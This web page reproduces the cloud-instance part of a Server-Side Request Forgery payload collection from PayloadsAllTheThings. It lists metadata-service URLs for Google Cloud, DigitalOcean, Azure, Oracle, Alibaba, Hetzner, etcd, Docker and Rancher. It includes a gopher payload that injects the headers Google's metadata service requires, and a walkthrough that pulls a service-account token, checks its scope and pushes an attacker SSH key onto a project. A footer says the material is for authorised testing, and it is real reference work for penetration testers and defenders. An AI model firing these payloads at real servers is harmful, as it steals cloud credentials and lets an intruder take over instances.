Skip to content

Payload topic

Server Side Request Forgery

Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.

Passages
53
Bounty reports
of this class
53 passages
Contents
  1. Server-Side Request Forgery
  2. Methodology
  3. Default Targets
  4. Bypass Localhost with IPv6 Notation
  5. Bypass Localhost with a Domain Redirect
  6. Bypass Localhost with CIDR
  7. Bypass Using Rare Address
  8. Bypass Using an Encoded IP Address
  9. Bypass Using Different Encoding
  10. Bypassing via ipv6 hostname
  11. Bypassing Using a Redirect
  12. Bypass Using DNS Rebinding
  13. Bypass Abusing URL Parsing Discrepancy
  14. Bypass PHP filtervar() Function
  15. Bypass Using TLD localhost
  16. Bypass Using JAR Scheme
  17. File
  18. HTTP
  19. Dict
  20. SFTP
  21. TFTP
  22. LDAP
  23. Netdoc
  24. Gopher
  25. Blind Exploitation
  26. Upgrade to XSS
  27. SSRF-Advanced-Exploitation: SSRF Advanced Exploitation
  28. SSRF-Advanced-Exploitation: DNS AXFR
  29. SSRF-Advanced-Exploitation: FastCGI
  30. SSRF-Advanced-Exploitation: Memcached
  31. SSRF-Advanced-Exploitation: MySQL
  32. SSRF-Advanced-Exploitation: Redis
  33. SSRF-Advanced-Exploitation: SMTP
  34. SSRF-Advanced-Exploitation: WSGI
  35. SSRF-Advanced-Exploitation: Zabbix
  36. SSRF-Cloud-Instances: SSRF URL for Cloud Instances
  37. SSRF-Cloud-Instances: SSRF URL for AWS
  38. SSRF-Cloud-Instances: SSRF URL for AWS ECS
  39. SSRF-Cloud-Instances: SSRF URL for AWS Elastic Beanstalk
  40. SSRF-Cloud-Instances: SSRF URL for AWS Lambda
  41. SSRF-Cloud-Instances: SSRF URL for Google Cloud
  42. SSRF-Cloud-Instances: Add an SSH key
  43. SSRF-Cloud-Instances: SSRF URL for Digital Ocean
  44. SSRF-Cloud-Instances: SSRF URL for Packetcloud
  45. SSRF-Cloud-Instances: SSRF URL for Azure
  46. SSRF-Cloud-Instances: SSRF URL for OpenStack/RackSpace
  47. SSRF-Cloud-Instances: SSRF URL for HP Helion
  48. SSRF-Cloud-Instances: SSRF URL for Oracle Cloud
  49. SSRF-Cloud-Instances: SSRF URL for Alibaba
  50. SSRF-Cloud-Instances: SSRF URL for Hetzner Cloud
  51. SSRF-Cloud-Instances: SSRF URL for Kubernetes ETCD
  52. SSRF-Cloud-Instances: SSRF URL for Docker
  53. SSRF-Cloud-Instances: SSRF URL for Rancher

SSRF-Cloud-Instances: SSRF URL for Google Cloud

SourceOn the Atlas

:warning: Google is shutting down support for usage of the **v1 metadata service** on January 15. Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"

http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id

Google allows recursive pulls

http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true

Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

Required headers can be set using a gopher SSRF with the following technique

gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a

Interesting files to pull out: * SSH Public Key : `http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json` * Get Access Token : `http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token` * Kubernetes Key : `http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json`

SSRF-Cloud-Instances: Add an SSH key

SourceOn the Atlas

Extract the token

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Check the scope of the token

$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  

{ 
        "issued_to": "101302079XXXXX", 
        "audience": "10130207XXXXX", 
        "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", 
        "expires_in": 2443, 
        "access_type": "offline" 
}

Now push the SSH key.

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" 
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" 
-H "Content-Type: application/json" 
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

SSRF-Cloud-Instances: SSRF URL for Digital Ocean

SourceOn the Atlas

Documentation available at `https://developers.digitalocean.com/documentation/metadata/`

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/ 
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

All in one request:
curl http://169.254.169.254/metadata/v1.json | jq

SSRF-Cloud-Instances: SSRF URL for Packetcloud

SourceOn the Atlas

Documentation available at `https://metadata.packet.net/userdata`

SSRF-Cloud-Instances: SSRF URL for Azure

SourceOn the Atlas

Limited, maybe more exists? `https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/`

http://169.254.169.254/metadata/v1/maintenance

Update Apr 2017, Azure has more support; requires the header "Metadata: true" `https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service`

http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

SSRF-Cloud-Instances: SSRF URL for OpenStack/RackSpace

SourceOn the Atlas

(header required? unknown)

http://169.254.169.254/openstack

SSRF-Cloud-Instances: SSRF URL for HP Helion

SourceOn the Atlas

(header required? unknown)

http://169.254.169.254/2009-04-04/meta-data/

SSRF-Cloud-Instances: SSRF URL for Oracle Cloud

SourceOn the Atlas
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

SSRF-Cloud-Instances: SSRF URL for Alibaba

SourceOn the Atlas
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

SSRF-Cloud-Instances: SSRF URL for Hetzner Cloud

SourceOn the Atlas
http://169.254.169.254/hetzner/v1/metadata
http://169.254.169.254/hetzner/v1/metadata/hostname
http://169.254.169.254/hetzner/v1/metadata/instance-id
http://169.254.169.254/hetzner/v1/metadata/public-ipv4
http://169.254.169.254/hetzner/v1/metadata/private-networks
http://169.254.169.254/hetzner/v1/metadata/availability-zone
http://169.254.169.254/hetzner/v1/metadata/region

SSRF-Cloud-Instances: SSRF URL for Kubernetes ETCD

SourceOn the Atlas

Can contain API keys and internal ip and ports

curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true

SSRF-Cloud-Instances: SSRF URL for Docker

SourceOn the Atlas
http://127.0.0.1:2375/v1.24/containers/json

Simple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json

More info: * Daemon socket option: <https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option> * Docker Engine API: <https://docs.docker.com/engine/api/latest/>

SSRF-Cloud-Instances: SSRF URL for Rancher

SourceOn the Atlas
curl http://rancher-metadata/<version>/<path>

More info: <https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/>

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository. Data as of 2026-11-15.